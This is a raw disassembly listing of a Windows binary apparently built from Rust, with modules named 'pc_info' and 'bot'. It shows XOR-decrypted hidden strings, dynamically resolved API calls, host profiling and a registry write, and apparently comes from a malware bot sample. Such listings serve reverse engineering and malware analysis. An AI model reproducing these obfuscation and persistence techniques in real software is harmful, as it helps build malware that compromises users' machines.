movups xmm1, xmmword [rbx + 0x10]
lea rcx, [rsp + 0xf0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.1a7f1b41bcd
mov rdi, rdx
lea r8, str.srccorepc_infopc_info.rs
mov rcx, rax
call fcn.1a7f1b43606
call fcn.1a7f1be0e71
mov r15, rax
xor esi, esi
lea r13, [rsp + 0x838]
mov rcx, r13
mov rdx, rax
xor r8d, r8d
call fcn.1a7f1b4d244
mov edx, 1
mov rcx, r15
call fcn.1a7f1b62d00
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, qword [r13]
mov r15, qword [r13 + 0x10]
mov rcx, r15
call fcn.1a7f1bf6427
mov r13, rax
mov rbp, rdx
mov rcx, rax
mov rdx, rdi
mov r8, r15
call fcn.1a7f1c22170
mov byte [rbx], 3
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], r15
lea r8, str.srccorepc_infopc_info.rs
lea rcx, [rsp + 0x80]
mov rdx, rbx
call fcn.1a7f1b4350a
lea rdi, [rsp + 0x2b4]
mov r8d, 0x118
mov rcx, rdi
xor edx, edx
call fcn.1a7f1c22810
mov dword [rdi - 4], 0x11c
call fcn.1a7f1b4d587
mov rbp, rax
mov r14d, 0xd
mov ecx, 0xd
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
movabs rax, 0x32764c726966fca7
mov qword [rbx], rax
mov dword [rbx + 8], 0x14033d50
mov byte [rbx + 0xc], 0x46
mov ecx, 0xd
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
movabs rax, 0x5b053e173f1299e0
mov qword [rdi], rax
mov dword [rdi + 8], 0x6c46533f
mov byte [rdi + 0xc], 0x11
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], r14
mov qword [rsp + 0x170], r14
lea r13, str.srccorepc_infopc_info.rs
cmp rsi, 0xd
je 0x1a7f1b5d7ce
lea r14, [rsi + 1]
mov edx, 0xd
mov rcx, rbx
mov r8, rsi
mov r9, r13
call fcn.1a7f1b476cc
mov r15b, byte [rax]
mov edx, 0xd
mov rcx, rdi
mov r8, rsi
mov r9, r13
call fcn.1a7f1b476cc
xor byte [rax], r15b
mov rsi, r14
jmp 0x1a7f1b5d793
lea r13, [rsp + 0xf0]
lea rdx, [rsp + 0x160]
mov rcx, r13
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea rsi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, r13
call fcn.1a7f1b43554
mov edx, 0xd
mov rcx, rbx
call fcn.1a7f1b8357b
mov rdi, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov rcx, rbx
call fcn.1a7f1bf6427
mov r14, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call fcn.1a7f1c22170
mov rcx, rbp
mov rdx, r14
mov r8, rbx
call fcn.1a7f1b4d7e3
mov rdi, rax
mov rcx, r14
mov rdx, r15
call fcn.1a7f1b8357b
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.1a7f1b8357b
lea rcx, [rsp + 0x2b0]
call rdi
test eax, eax
je 0x1a7f1b60b2f
lea rax, [rsp + 0x2b8]
lea rcx, [rsp + 0x3ca]
lea r12, [rsp + 0x2bc]
lea rsi, [rsp + 0xf0]
lea rdx, [rsp + 0x2b4]
mov qword [rsi], rdx
lea r8, [0x1a7f1b6c680]
mov qword [rsi + 8], r8
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], r8
mov qword [rsi + 0x20], rcx
lea rax, [0x1a7f1b6af20]
mov qword [rsi + 0x28], rax
lea rax, [0x1a7f1c36cc8]
lea rdx, [rsp + 0x160]
mov qword [rdx], rax
mov qword [rdx + 8], 5
and qword [rdx + 0x20], 0
mov qword [rsi + 0x30], r12
mov qword [rsi + 0x38], r8
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], 4
lea rdi, [rsp + 0x7f0]
mov rcx, rdi
call fcn.1a7f1b438e7
mov rbx, qword [rdi]
mov rdi, qword [rdi + 0x10]
mov rcx, rdi
call fcn.1a7f1bf6427
mov r14, rax
mov r15, rdx
mov rcx, rax
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1c22170
mov byte [r12 - 0xc], 3
mov qword [r12 - 4], r14
mov qword [r12 + 4], r15
mov qword [r12 + 0xc], rdi
lea rdi, str.srccorepc_infopc_info.rs
lea rcx, [rsp + 0xa0]
lea rbx, [rsp + 0x2b0]
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1b4350a
mov ecx, 0x40
mov edx, 8
call fcn.1a7f1b43c33
mov r15, rax
mov bpl, 2
mov byte [rbx], bpl
and qword [rbx + 8], 0
mov rax, qword [rsp + 0x68]
mov qword [rbx + 0x10], rax
lea rbx, [rsp + 0x160]
lea r14, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.1a7f1b4350a
mov byte [r14], bpl
and qword [r14 + 8], 0
mov rax, qword [rsp + 0x60]
mov qword [r14 + 0x10], rax
lea rdx, [rsp + 0x2b0]
mov rcx, rsi
mov r8, rdi
call fcn.1a7f1b4350a
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r15 + 0x20], xmm0
mov qword [rsp + 0x68], r15
movups xmmword [r15 + 0x30], xmm1
mov ecx, 0x20
mov edx, 8
call fcn.1a7f1b43c33
mov qword [rsp + 0x60], rax
mov rsi, qword [rsp + 0x270]
mov rcx, rsi
call fcn.1a7f1bb8eb7
test rax, rax
je 0x1a7f1b5dbad
lea rcx, [rsp + 0x230]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
lea rdi, [rsp + 0x168]
lea rbp, [rsp + 0x2c0]
lea r12, [rsp + 0xf1]
imul r13, rsi, 0x18
lea r14, [rsp + 0x2b0]
xorps xmm6, xmm6
lea rbx, [rsp + 0x1f0]
mov r15, qword [rsp + 0x78]
test r13, r13
je 0x1a7f1b5dc2e
mov rcx, r14
call fcn.1a7f1bbc593
cmp qword [rsp + 0x2b0], 0
je 0x1a7f1b5e0b8
lea rsi, [r15 + 0x18]
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x200], rax
movups xmm0, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x1f0], xmm0
mov edx, dword [r15 + 8]
mov qword [rsp + 0x160], 1
movups xmmword [rdi], xmm6
lea rcx, [rsp + 0x160]
call fcn.1a7f1b43cb4
mov rax, qword [rsp + 0x160]
movups xmm0, xmmword [rdi]
movups xmmword [rbp], xmm0
mov byte [rsp + 0x2b0], 3
mov qword [rsp + 0x2b8], rax
mov rcx, rbx
mov rdx, r14
call fcn.1a7f1b43aaf
mov rdx, qword [r15]
mov rcx, rbx
call fcn.1a7f1b48eb3
mov rdx, qword [r15 + 0x10]
mov rcx, rbx
call fcn.1a7f1b48eb3
mov rax, qword [rsp + 0x200]
mov qword [rbp + 7], rax
movaps xmm0, xmmword [rsp + 0x1f0]
movups xmmword [rbp - 9], xmm0
mov byte [rsp + 0xf0], 4
movups xmm0, xmmword [rsp + 0x2b0]
movups xmm1, xmmword [rsp + 0x2bf]
movups xmmword [r12 + 0xf], xmm1
movups xmmword [r12], xmm0
lea rcx, [rsp + 0x230]
lea rdx, [rsp + 0xf0]
call fcn.1a7f1b43aaf
add r13, 0xffffffffffffffe8
mov r15, rsi
jmp 0x1a7f1b5da57
test r13, r13
je 0x1a7f1b5d546
xor edi, edi
mov rax, r13
test rax, rax
je 0x1a7f1b5e823
mov edx, dword [rax + 0x50]
movzx ecx, word [rax + 0x54]
mov word [rsp + 0x2b4], cx
shl rcx, 0x20
or rcx, rdx
mov dword [rsp + 0x2b0], edx
xor edx, edx
cmp rdx, 6
je 0x1a7f1b5dba7
cmp byte [rsp + rdx + 0x2b0], 0
lea rdx, [rdx + 1]
je 0x1a7f1b5db8e
jmp 0x1a7f1b5e818
mov rax, qword [rax + 8]
jmp 0x1a7f1b5db66
mov qword [rsp + 0x2b8], rdx
mov byte [rsp + 0x2b0], 6
jmp 0x1a7f1b5e0dd
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0xf7], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x107], rax
mov byte [rsp + 0x2b0], 4
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0x2b1], xmm0
mov rax, qword [rsp + 0xff]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x107]
mov qword [rsp + 0x2c8], rax
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
jmp 0x1a7f1b5dcbf
movups xmm0, xmmword [rsp + 0x230]
movups xmmword [rsp + 0xf7], xmm0
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x107], rax
mov byte [rsp + 0x2b0], 4
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0x2b1], xmm0
mov rax, qword [rsp + 0xff]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x107]
mov qword [rsp + 0x2c8], rax
jmp 0x1a7f1b5e0dd
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x2b8], rax
mov byte [rsp + 0x2b0], 6
lea rcx, [rsp + 0x80]
call fcn.1a7f1b42ab6
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
lea r8, str.srccore_botmod.rs
lea r12, [rsp + 0xf0]
lea rdx, [rsp + 0x2b0]
mov rcx, r12
call fcn.1a7f1b4350a
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
movdqu xmm0, xmmword [rsp + 0x160]
movups xmm1, xmmword [rsp + 0x170]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov al, 4
mov byte [rsi + 0x20], al
mov qword [rsi + 0x28], rbx
mov ecx, 1
mov qword [rsi + 0x30], rcx
mov qword [rsi + 0x38], rcx
mov qword [rsp + 0x168], rsi
mov ecx, 2
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rcx
mov byte [rsp + 0x160], al
lea r8, str.srccore_botmod.rs
xor edi, edi
xor ecx, ecx
call fcn.1a7f1be751d
mov rsi, rax
mov rbx, rdx
mov rcx, rdx
call fcn.1a7f1bf6427
mov r14, rax
mov r13, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call fcn.1a7f1c22170
mov r9, qword [rbp + 0x18]
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1a7f1b4d206
lea r8, str.srccore_botmod.rs
lea r15, [rsp + 0x210]
mov rcx, r15
mov rdx, rsi
call fcn.1a7f1b43458
mov rcx, r14
mov rdx, r13
call fcn.1a7f1b8357b
mov r14, qword [rsp + 0x78]
mov rcx, r14
xor edx, edx
call fcn.1a7f1b61e1a
mov rbx, rax
lea rdx, str.srccore_botmod.rs
mov rcx, rax
call fcn.1a7f1b43488
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rsp + 0x1d0]
mov rcx, rbx
call fcn.1a7f1b66d10
mov rcx, r14
xor edx, edx
call fcn.1a7f1b61e52
mov r14, rax
lea rdx, str.srccore_botmod.rs
mov rcx, rax
call fcn.1a7f1b43488
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea r14, [rsp + 0x1b0]
mov rcx, r14
call fcn.1a7f1b66d10
lea rax, [rsp + 0x7f0]
mov qword [rax], r14
lea rcx, [rsp + 0x788]
mov qword [rcx], rbx
add rbp, 0x30
lea rdx, [rsp + 0xa0]
mov qword [rdx], rbp
mov qword [rsi], rax
lea rax, [0x1a7f1b9c067]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rax
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [r12], rcx
mov ecx, 3
mov qword [r12 + 8], rcx
and qword [r12 + 0x20], 0
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x28], rax
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], rcx
lea rsi, [rsp + 0x80]
lea r13, [rsp + 0xf0]
mov rcx, rsi
mov rdx, r13
call fcn.1a7f1b438e7
mov rbx, qword [rsi]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x60], rax
mov rsi, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x68], rax
mov r14d, 0xd
mov ecx, 0xd
mov edx, 1
call fcn.1a7f1b43c33
mov r15, rax
movabs rax, 0x4f448bce396b3b5d
mov qword [r15], rax
mov dword [r15 + 8], 0x5937f96c
mov byte [r15 + 0xc], 0xec
mov ecx, 0xd
mov edx, 1
call fcn.1a7f1b43c33
mov r12, rax
movabs rax, 0x3b25e8a7551b4b3c
mov qword [r12], rax
mov dword [r12 + 8], 0x76599605
mov byte [r12 + 0xc], 0xc6
mov qword [r13], r12
mov qword [r13 + 8], r14
mov qword [r13 + 0x10], r14
lea r13, str.srccore_botmod.rs
cmp rdi, 0xd
je 0x1a7f1b5df72
lea r14, [rdi + 1]
mov edx, 0xd
mov rcx, r15
mov r8, rdi
mov r9, r13
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0xd
mov rcx, r12
mov r8, rdi
mov r9, r13
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov rdi, r14
jmp 0x1a7f1b5df37
lea rdi, [rsp + 0x2b0]
lea rdx, [rsp + 0xf0]
mov rcx, rdi
call fcn.1a7f1b43cf8
lea r8, str.srccore_botmod.rs
lea r12, [rsp + 0xa0]
mov rcx, r12
mov rdx, rdi
call fcn.1a7f1b43554
mov edx, 0xd
mov rcx, r15
call fcn.1a7f1b8357b
mov rdi, qword [r12]
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r15, [rsp + 0x2b0]
mov rcx, r15
mov rdx, rbx
mov r8, qword [rsp + 0x60]
mov r9, rsi
call fcn.1a7f1b49198
mov rdx, qword [r12 + 8]
mov rcx, rdi
call fcn.1a7f1b8357b
cmp dword [r15], 8
jne 0x1a7f1b5e013
mov rcx, qword [rsp + 0x2b8]
mov rdx, qword [rsp + 0x2c0]
call fcn.1a7f1b8357b
jmp 0x1a7f1b5e020
lea rcx, [rsp + 0x2b0]
call fcn.1a7f1b424e7
mov rdx, qword [rsp + 0x88]
mov rcx, rbx
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x1b8]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0x218]
mov rcx, rsi
call fcn.1a7f1b8357b
lea rcx, [rsp + 0x160]
call fcn.1a7f1b4282d
mov rcx, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
call fcn.1a7f1b8357b
mov r8, qword [rsp + 0xd8]
test r8, r8
je case.0x1a7f1b5b061.7
shl r8, 4
mov rcx, qword [rsp + 0xd0]
mov edx, 8
call fcn.1a7f1b446ce
jmp case.0x1a7f1b5b061.7
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x2b8], rax
mov byte [rsp + 0x2b0], 6
lea rcx, [rsp + 0x230]
call fcn.1a7f1b42ab6
lea rsi, str.srccorepc_infopc_info.rs
lea rdi, [rsp + 0xf0]
lea rbx, [rsp + 0x2b0]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1a7f1b4350a
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
mov rax, qword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
call fcn.1a7f1b4edc7
mov byte [rbx], 2
and qword [rbx + 8], 0
mov qword [rbx + 0x10], rax
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x2b0]
mov r8, rsi
call fcn.1a7f1b4350a
and qword [rsp + 0x2a8], 0
and dword [rsp + 0x27c], 0
mov r14d, 8
mov ecx, 8
mov edx, 1
call fcn.1a7f1b43c33
mov rsi, rax
movabs rax, 0xce9bbd45195cac06
mov qword [rsi], rax
mov ecx, 8
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
movabs rax, 0xfca8d120772ec96d
mov qword [rbx], rax
mov qword [rdi], rbx
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r14
xor r14d, r14d
lea rdi, str.srccorepc_infopc_info.rs
cmp r14, 8
je 0x1a7f1b5e1e3
lea r15, [r14 + 1]
mov edx, 8
mov rcx, rsi
mov r8, r14
mov r9, rdi
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 8
mov rcx, rbx
mov r8, r14
mov r9, rdi
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov r14, r15
jmp 0x1a7f1b5e1a8
lea rbx, [rsp + 0x2b0]
lea r14, [rsp + 0xf0]
mov rcx, rbx
mov rdx, r14
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b43554
mov edx, 8
mov rcx, rsi
call fcn.1a7f1b8357b
mov rsi, qword [rdi]
mov rbx, qword [rdi + 0x10]
mov rcx, rbx
call fcn.1a7f1bf6427
mov r15, rax
mov r13, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call fcn.1a7f1c22170
mov rcx, r15
mov rdx, rbx
call fcn.1a7f1b4d71a
mov rsi, rax
mov rcx, r15
mov rdx, r13
call fcn.1a7f1b8357b
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1a7f1b8357b
mov r15d, 0xc
mov ecx, 0xc
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
movabs rax, 0x434f5ed92507c294
mov qword [rbx], rax
mov dword [rbx + 8], 0x3d08833b
mov ecx, 0xc
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
movabs rax, 0x312d37954166add8
mov qword [rdi], rax
mov dword [rdi + 8], 0x6a71f15a
mov qword [r14], rdi
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], r15
xor r15d, r15d
lea r14, str.srccorepc_infopc_info.rs
cmp r15, 0xc
je 0x1a7f1b5e30f
lea r12, [r15 + 1]
mov edx, 0xc
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0xc
mov rcx, rdi
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov r15, r12
jmp 0x1a7f1b5e2d4
lea r14, [rsp + 0x2b0]
lea r13, [rsp + 0xf0]
mov rcx, r14
mov rdx, r13
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
mov rdx, r14
call fcn.1a7f1b43554
mov edx, 0xc
mov rcx, rbx
call fcn.1a7f1b8357b
mov rbx, qword [rdi]
mov r14, qword [rdi + 0x10]
mov rcx, r14
call fcn.1a7f1bf6427
mov r15, rax
mov rbp, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r14
call fcn.1a7f1c22170
mov rcx, rsi
mov rdx, r15
mov r8, r14
call fcn.1a7f1b4d7e3
mov r12, rax
mov rcx, r15
mov rdx, rbp
call fcn.1a7f1b8357b
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1a7f1b8357b
mov ebx, 0xa
mov ecx, 0xa
mov edx, 1
call fcn.1a7f1b43c33
mov rsi, rax
movabs rax, 0x2b06351d0c5714
mov qword [rsi], rax
mov word [rsi + 8], 0x4a56
mov ecx, 0xa
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
movabs rax, 0x64056f597e7f3c43
mov qword [rdi], rax
mov word [rdi + 8], 0x263a
mov qword [r13], rdi
mov qword [r13 + 8], rbx
mov qword [r13 + 0x10], rbx
xor r15d, r15d
lea rbx, str.srccorepc_infopc_info.rs
cmp r15, 0xa
je 0x1a7f1b5e43c
lea r14, [r15 + 1]
mov edx, 0xa
mov rcx, rsi
mov r8, r15
mov r9, rbx
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0xa
mov rcx, rdi
mov r8, r15
mov r9, rbx
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov r15, r14
jmp 0x1a7f1b5e401
lea rdi, [rsp + 0x2b0]
lea rbx, [rsp + 0xf0]
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea r15, [rsp + 0x788]
mov rcx, r15
mov rdx, rdi
call fcn.1a7f1b43554
mov edx, 0xa
mov rcx, rsi
call fcn.1a7f1b8357b
mov rdi, qword [r15]
mov rax, qword [r15 + 0x10]
add rax, rdi
mov qword [rbx], rdi
mov qword [rbx + 8], rax
and word [rbx + 0x10], 0
mov dword [rbx + 0x18], 1
lea rcx, [rsp + 0xf0]
call section..text
test ax, ax
je 0x1a7f1b5e59d
mov ebp, edx
lea rsi, [rsp + 0x2b0]
lea rdi, [rsp + 0xf0]
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b41086
mov rax, qword [rsi]
inc rax
mov r14, 0xffffffffffffffff
cmove rax, r14
cmp rax, 5
mov ecx, 4
cmovae rcx, rax
call fcn.1a7f1bf4144
mov rbx, rax
mov word [rax], bp
lea r15, [rsp + 0x230]
mov qword [r15], rax
mov qword [r15 + 8], rdx
mov qword [r15 + 0x10], 1
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
mov r13d, 1
lea rdi, [rsp + 0x1f0]
mov rcx, rsi
call section..text
cmp ax, 1
jne 0x1a7f1b5e58b
mov ebp, edx
cmp r13, qword [rsp + 0x238]
jne 0x1a7f1b5e579
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b41086
mov r8, qword [rsp + 0x1f0]
inc r8
cmove r8, r14
mov rcx, r15
mov rdx, r13
call fcn.1a7f1bf4196
mov rcx, rax
call fcn.1a7f1b43d74
mov rbx, qword [rsp + 0x230]
mov word [rbx + r13*2], bp
inc r13
mov qword [rsp + 0x240], r13
jmp 0x1a7f1b5e52a
mov r15, qword [rsp + 0x238]
mov rdi, qword [rsp + 0x788]
jmp 0x1a7f1b5e5a5
mov ebx, 2
xor r15d, r15d
mov rcx, rbx
call r12
mov rsi, rax
mov rcx, rbx
mov rdx, r15
call fcn.1a7f1b42942
mov rdx, qword [rsp + 0x790]
mov rcx, rdi
call fcn.1a7f1b8357b
mov r14d, 0x15
mov ecx, 0x15
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
movaps xmm0, xmmword [0x1a7f1c351b0]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0xb25ea6b
mov byte [rax + 0x14], 0x22
mov ecx, 0x15
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
movdqa xmm0, xmmword [0x1a7f1c351c0]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x10], 0x644c9e0a
mov byte [rax + 0x14], 0x4c
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], r14
xor r15d, r15d
lea r14, str.srccorepc_infopc_info.rs
cmp r15, 0x15
je 0x1a7f1b5e67c
lea r12, [r15 + 1]
mov edx, 0x15
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0x15
mov rcx, rdi
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov r15, r12
jmp 0x1a7f1b5e641
lea r14, [rsp + 0x2b0]
lea rdx, [rsp + 0xf0]
mov rcx, r14
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
mov rdx, r14
call fcn.1a7f1b43554
mov edx, 0x15
mov rcx, rbx
call fcn.1a7f1b8357b
mov rbx, qword [rdi]
mov r14, qword [rdi + 0x10]
mov rcx, r14
call fcn.1a7f1bf6427
mov r15, rax
mov r13, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r14
call fcn.1a7f1c22170
mov rcx, rsi
mov rdx, r15
mov r8, r14
call fcn.1a7f1b4d7e3
mov rsi, rax
mov rcx, r15
mov rdx, r13
call fcn.1a7f1b8357b
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1a7f1b8357b
xor r14d, r14d
lea rdx, [rsp + 0x2a8]
lea r8, [rsp + 0x27c]
xor ecx, ecx
call rsi
mov ebp, 1
mov edi, 0
mov esi, 1
test eax, eax
jne 0x1a7f1b5f30d
mov rbx, qword [rsp + 0x2a8]
test rbx, rbx
je 0x1a7f1b618ed
xor r14d, r14d
cmp word [rbx + r14*2], 0
lea r14, [r14 + 1]
jne 0x1a7f1b5e748
mov rcx, r14
call fcn.1a7f1bf4144
mov rsi, rax
mov rdi, rdx
lea r8, [r14 + r14]
mov rcx, rax
mov rdx, rbx
call fcn.1a7f1c22170
mov qword [rsp + 0x2b0], rsi
mov qword [rsp + 0x2b8], rdi
mov qword [rsp + 0x2c0], r14
test r14, r14
je 0x1a7f1b5e797
cmp word [rsi + r14*2 - 2], 0
je 0x1a7f1b5e7d7
cmp r14, rdi
jne 0x1a7f1b5e7b6
lea rdi, [rsp + 0x2b0]
mov rcx, rdi
mov rdx, r14
call fcn.1a7f1bf4278
mov rsi, qword [rdi]
mov r14, qword [rdi + 0x10]
and word [rsi + r14*2], 0
inc r14
mov qword [rsp + 0x2c0], r14
mov rsi, qword [rsp + 0x2b0]
mov rdi, qword [rsp + 0x2b8]
cmp rdi, r14
jbe 0x1a7f1b5f13f
add rdi, rdi
test r14, r14
je 0x1a7f1b5f117
lea rbx, [r14 + r14]
mov r15d, 2
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
mov r9, rbx
call fcn.1a7f1b62d20
test rax, rax
jne 0x1a7f1b5f127
jmp 0x1a7f1b5f134
shl rcx, 8
or rcx, 1
mov rdi, rcx
mov rcx, r13
mov rdx, rsi
call fcn.1a7f1b8357b
test dil, 1
jne 0x1a7f1b5eea3
mov esi, 4
mov ecx, 4
call fcn.1a7f1bf6427
mov r15, rax
mov qword [rsp + 0x268], rdx
mov dword [rax], 0x656e6f4e
jmp 0x1a7f1b5d56a
mov r14d, eax
xor ebp, ebp
jmp 0x1a7f1b5ec00
mov al, byte [rsp + 0x1b0]
mov rsi, qword [rsp + 0x80]
mov qword [rsp + 0x210], rsi
mov byte [rsp + 0x218], al
mov rdx, qword [rsp + 0x2b8]
mov rcx, rbx
call fcn.1a7f1b42942
test r14d, r14d
je 0x1a7f1b5e8ac
lea rcx, [rsp + 0x210]
call fcn.1a7f1b42571
jmp 0x1a7f1b5ea5e
mov rcx, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x170]
call fcn.1a7f1b41f22
lea r8, [0x1a7f1c37020]
mov rcx, rax
call fcn.1a7f1be751d
mov rbx, rax
mov r14, rdx
lea rax, [0x1a7f1c2ed72]
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x2b0]
movabs rax, 0x8177fbe166c961f1
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
call fcn.1a7f1b46a58
and qword [rsp + 0x2c0], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x2b0], xmm0
xor ecx, ecx
lea rdx, [0x1a7f1c37038]
cmp rcx, 0x17
ja 0x1a7f1b5e947
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2b0], r8
add rcx, 8
jmp 0x1a7f1b5e92b
lea rdx, [rsp + 0x2b0]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x1c0], rax
movdqa xmm0, xmmword [rdx]
movdqa xmmword [rsp + 0x1b0], xmm0
mov rax, rbx
add rax, r14
mov qword [rdx], rbx
mov qword [rdx + 8], rax
and word [rdx + 0x10], 0
mov dword [rdx + 0x18], 1
lea r15, [rsp + 0x80]
mov rcx, r15
call fcn.1a7f1bf6511
mov r12, qword [r15]
mov r14, qword [r15 + 0x10]
add r14, r14
mov rcx, r14
call fcn.1a7f1bf6754
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r12
mov r8, r14
call fcn.1a7f1c22170
mov r8, qword [r15 + 8]
test r8, r8
je 0x1a7f1b5e9d5
add r8, r8
mov rcx, qword [rsp + 0x80]
mov edx, 2
call fcn.1a7f1b446ce
lea r15, [rsp + 0x2b0]
lea rdx, [rsp + 0x1b0]
mov r8d, 0x18
mov rcx, r15
call fcn.1a7f1b46aa4
mov r12, qword [r15]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
xor r13d, r13d
mov rcx, rsi
mov rdx, r12
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.advapi32.dll_RegSetValueExW]
mov r14d, eax
mov rbp, r14
shl rbp, 0x20
or rbp, 2
mov rdx, qword [r15 + 8]
mov rcx, r12
call fcn.1a7f1b42942
mov rcx, rdi
mov rdx, rbx
